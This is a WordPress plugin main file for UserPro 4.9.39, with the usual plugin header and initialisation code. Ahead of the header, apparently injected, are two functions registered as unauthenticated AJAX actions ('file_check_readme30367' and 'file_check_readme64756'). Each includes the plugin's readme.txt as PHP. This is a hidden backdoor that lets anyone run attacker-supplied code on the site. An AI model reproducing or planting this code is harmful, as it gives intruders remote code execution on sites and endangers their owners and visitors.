if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php /* Plugin Name: UserPro Plugin URI: http://codecanyon.net/user/DeluxeThemes/portfolio?ref=DeluxeThemes Description: The ultimate user profiles and community plugin for WordPress. Version: 4.9.39 Author: Deluxe Themes Author URI: http://codecanyon.net/user/DeluxeThemes/portfolio?ref=DeluxeThemes */ // Define UserPro files. if ( ! defined( 'UP_PLUGIN_FILE' ) ) { define( 'UP_PLUGIN_FILE', __FILE__ ); } // Include the main UserPro file if ( ! class_exists( 'UserPro' ) ) { include_once dirname( __FILE__ ) . '/includes/class-userpro.php'; } function userpro_init() { return UserPro::instance(); } userpro_init(); $GLOBALS['userpro'] = new userpro_api();